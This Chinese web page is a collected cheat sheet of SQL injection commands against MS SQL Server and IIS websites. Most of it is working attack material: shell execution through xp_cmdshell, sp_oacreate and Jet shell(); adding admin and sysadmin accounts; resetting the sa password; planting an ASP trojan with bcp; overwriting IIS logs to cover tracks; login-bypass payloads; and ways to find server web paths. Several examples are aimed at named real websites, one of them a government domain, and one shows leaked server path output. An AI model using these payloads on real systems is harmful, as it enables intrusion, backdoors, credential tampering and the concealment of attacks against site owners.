最全的SQL注入命令及方法-网络收集<br /> (3)首先开启jet沙盘模式,通过扩展存储过程xp_regwrite修改注册表实现,管理员修改注册表不能预防的原因。出于安全原因,默认沙盘模式未开启,这就是为什么需要xp_regwrite的原因,而xp_regwrite至少需要DB_OWNER权限,为了方便,这里建议使用sysadmin权限测试:<br /> ? exec master..xp_regwrite HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Jet\4.0\Engines,SandBoxMode,REG_DWORD,1<br /> 注:<br /> 0 禁止一切(默认)<br /> 1 使能访问ACCESS,但是禁止其它<br /> 2 禁止访问ACCESS,但是使能其他<br /> 3 使能一切<br /> ? 这里仅给出sysadmin权限下使用的命令:<br /> select * from openrowset(microsoft.jet.oledb.4.0,;database=c:\winnt\system32\ias\ias.mdb,select shell(&quot;cmd.exe /c net user admin admin1234 /add&quot;))<br /> <br /> ? 建立链接数据库L0op8ack参考命令:<br /> EXEC sp_addlinkedserver L0op8ack,OLE DB Provider for Jet,Microsoft.Jet.OLEDB.4.0,c:\windows\system32\ias\ias.mdb<br /> ? 如何使用链接数据库:<br /> 使用这个方式可以执行,但是很不幸,DB_OWNER权限是不够的,需要至少sysadmin权限或者securityadmin+setupadmin权限组合<br /> sp_addlinkedserver需要sysadmin或setupadmin权限<br /> sp_addlinkedsrvlogin需要sysadmin或securityadmin权限<br /> 最终发现,还是sa权限或者setupadmin+securityadmin权限帐户才能使用,<br /> 一般没有哪个管理员这么设置普通帐户权限的<br /> 实用性不强,仅作为一个学习总结吧<br /> 大致过程如下,如果不是sysadmin,那么IAS.mdb权限验证会出错,<br /> 我测试的时候授予hacker这个用户setupadmin+securityadmin权限,使用ias.mdb失败<br /> 需要找一个一般用户可访问的mdb才可以:<br /> ? 新建链接服务器&quot;L0op8ack&quot;:EXEC sp_addlinkedserver L0op8ack,JetOLEDB,Microsoft.Jet.OLEDB.4.0,c:\winnt\system32\ias\ias.mdb;--<br /> ? exec sp_addlinkedsrvlogin L0op8ack,false;--或<br /> exec sp_addlinkedsrvlogin L0op8ack, false, NULL, test1, ptlove;--<br /> ? select * FROM OPENQUERY(L0op8ack, select shell(&quot;cmd.exe /c net user&quot;));--<br /> ? exec sp_droplinkedsrvlogin L0op8ack,false;--<br /> ? exec sp_dropserver L0op8ack;--<br /> 再考贝一个其它文件来代替7.18日文件:<br /> (1)exec master.dbo.xp_cmdshell copy C:\winnt\system32\logfiles\W3SVC5\ex050716.log C:\winnt\system32\logfiles\W3SVC5\ex050718.log&gt;c:\temp.txt<br /> (2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate wscript.shell,@shell output EXEC sp_oamethod @shell,run,null,cmd.exe /c copy C:\winnt\system32\logfiles\W3SVC5\ex050716.log C:\winnt\system32\logfiles\W3SVC5\ex050718.log&gt;c:\temp.txt,0,true EXEC sp_oacreate scripting.filesystemobject,@fso output EXEC sp_oamethod @fso,opentextfile,@file out,c:\temp.txt WHILE @shell&gt;0 BEGIN EXEC sp_oamethod @file,Readline,@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,AtEndOfStream,@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END<br /> (3)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate wscript.shell,@shell output EXEC sp_oamethod @shell,run,null,cmd.exe /c net user&gt;c:\temp.txt,0,true EXEC sp_oacreate scripting.filesystemobject,@fso output EXEC sp_oamethod @fso,opentextfile,@file out,c:\temp.txt WHILE @shell&gt;0 BEGIN EXEC sp_oamethod @file,Readline,@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,AtEndOfStream,@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END <br /> 9、 用update来更新表中的数据:<br /> HTTP://xxx.xxx.xxx/abc.asp?p=YY;update upload.dbo.admin set pwd=a0b923820dcc509a where username=www;--<br /> www用户密码的16位MD5值为:a0b923820dcc509a,即把密码改成1;<br /> 32位MD5值为: ,密码为<br /> 10、 利用表内容导成文件功能<br /> SQL有BCP命令,它可以把表的内容导成文本文件并放到指定位置。利用这项功能,我们可以先建一张临时表,然后在表中一行一行地输入一个ASP木马,然后用BCP命令导出形成ASP文件。<br /> 命令行格式如下:<br /> bcp &quot;select * from temp &quot; queryout c:\inetpub\wwwroot\runcommand.asp ?c ?S localhost ?U sa ?P upload(S参数为执行查询的服务器,U参数为用户名,P参数为密码,最终上传了一个runcommand.asp的木马)。<br /> 11、创建表、播入数据和读取数据的方法<br /> ? 创建表:<br /> and 1=1 un&amp;#105;on select 1,2,3,4;create table [dbo].[cyfd]([gyfd][char](255))--<br /> ? 往表里播入数据:<br /> and 1=1 un&amp;#105;on select 1,2,3,4;DECLARE @result varchar(255) select top 1 name from upload.dbo.sysobjects where xtype=U and status&gt;0,@result output insert into cyfd (gyfd) values(@result);--<br /> and 1=1 un&amp;#105;on select 1,2,3,4;DECLARE @result varchar(255) exec master.dbo.xp_regread HKEY_LOCAL_MACHINE,SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots, / ,@result output insert into cyfd (gyfd) values(@result);--<br /> ? 从表里读取数据:<br /> and 1=(select count(*) from cyfd where gyfd &gt;1)--<br /> ? 删除临时表:<br /> ;drop table cyfd;--<br /> 12、通过SQL语句直接更改sa的密码:<br /> ? update master.dbo.sysxlogins set password=0x0100AB01431E944AA50CBB30267F53B9451B7189CA67AF19A1FC944AA50CBB30267F53B9451B7189CA67AF19A1FC where sid=0x01,这样sa的密码就被我们改成了111111拉。呵呵,解决的方法就是把sa给删拉。,怎么删可以参考我的《完全删除sa这个后门》。<br /> ? 查看本机所有的数据库用户名:<br /> select * from master.dbo.sysxlogins<br /> select name,sid,password ,dbid from master.dbo.sysxlogins<br /> ? 更改sa口令方法:用sql综合利用工具连接后,执行命令:<br /> exec sp_password NULL,新密码,sa<br /> 13、查询dvbbs库中所有的表名和表结构:<br /> ? select * from dvbbs.dbo.sysobjects where xtype=U and status&gt;0<br /> ? select * from dvbbs.dbo.syscolumns where id=1426104121<br /> 14、手工备份当前数据库:<br /> 完全备份:<br /> ;declare @a sysname,@s nvarchar(4000) <br /> select @a=db_name(),@s=c:/db1 backup database @a to disk=@s WITH formAT--<br /> 差异备份:<br /> ;declare @a sysname,@s nvarchar(4000) <br /> select @a=db_name(),@s=c:/db1 backup database @a to disk=@s WITH DIFFERENTIAL,formAT?<br /> 15、添加和删除一个SA权限的用户test:<br /> exec master.dbo.sp_addlogin test,ptlove<br /> exec master.dbo.sp_addsrvrolemember test,sysadmin<br /> cmd.exe /c isql -E /U alma /P /i K:\test.qry<br /> 16、select * from ChouYFD.dbo.sysobjects where xtype=U and status&gt;0 <br /> 就可以列出库ChouYFD中所有的用户建立的表名。<br /> select name,id from ChouYFD.dbo.sysobjects where xtype=U and status&gt;0<br /> 17、<br /> ? http://www.npc.gov.cn/zgrdw/common/image_view.jsp?sqlstr=select * from rdweb.dbo.syscolumns (where id=1234)<br /> 列出rdweb库中所有表中的字段名称<br /> ? select * from dvbbs.dbo.syscolumns where id=5575058 <br /> 列出库dvbbs中表id=5575058的所有字段名<br /> 18、删除记录命令:delete from Dv_topic where boardid=5 and topicid=7978<br /> 19、绕过登录验证进入后台的方法整理:<br /> 1) or=<br /> 2) or 1=1--<br /> 3) or a=a--<br /> 4) or=or<br /> 5) &quot; or 1=1-- <br /> 6)or 1=1--<br /> 7) or a=a<br /> 8)&quot; or &quot;a&quot;=&quot;a <br /> 9) ) or (a=a<br /> 10) &quot;) or (&quot;a&quot;=&quot;a<br /> 11) ) or (1=1<br /> 12) or=<br /> 13) 人气% and 1=1 and %=<br /> 20、寻找网站路径的方法汇总:<br /> 1)查看WEB网站安装目录命令:<br /> ? cscript c:\inetpub\adminscripts\adsutil.vbs enum w3svc/2/root &gt;c:\test1.txt (将2换成1、3、4、5试试)<br /> type c:\test1.txt<br /> del c:\test1.txt<br /> 在NBSI下可以直接显示运行结果,所以不用导出到文件<br /> 2)在网站上随便找到一个图片的名字 123.jpg<br /> 然后写进批处理程序123.bat:<br /> d:<br /> dir 123.jpg /s &gt;c:\123.txt<br /> e:<br /> dir 123.jpg /s &gt;&gt;c:\123.txt<br /> f:<br /> dir 123.jpg /s &gt;&gt;c:\123.txt<br /> 执行后 type c:\123.txt<br /> 这样来分析网站的路径<br /> 3)SQL服务器和网站服务器在同一个服务器上,好了是可以执行命令是吧?<br /> 将执行命令输出结果到<br /> %windir%\help\iishelp\common\404b.htm或者500.asp<br /> 注意输出前Backup这两个文件<br /> 如:<br /> dir c:\ &gt;%windir%\help\iishelp\common\404b.htm<br /> 然后随便输入一个文件来访问:http://目标ip/2.asp<br /> 4)针对win2000系统:xp_regread读取HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots 获取WEB路径<br /> 2003系统:xp_regread读取,未找到方法<br /> 如:<br /> (1) 新建一个表cyfd(字段为gyfd):http://www.cnwill.com/NewsShow.aspx?id=4844;create table [dbo].[cyfd]([gyfd][char](255))--<br /> (2) 把web路径写进去:http://www.cnwill.com/NewsShow.aspx?id=4844;DECLARE @result varchar(255) exec master.dbo.xp_regread HKEY_LOCAL_MACHINE,SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots, / ,@result output insert into cyfd (gyfd) values(@result);-- <br /> (3) 还是让他不匹配,显示错误:http://www.cnwill.com/NewsShow.aspx?id=4844 and 1=(select count(*) from cyfd where gyfd &gt;1) <br /> Source: .Net SqlClient Data Provider<br /> Description: 将 varchar 值 Y:\Web\烟台人才热线后台管理系统,,201 转换为数据类型为 int 的列时发生语法错误。<br /> TargeSite: Boolean Read() 哈哈哈。。路径暴露了。。 <br /> <br />
返回顶部 留言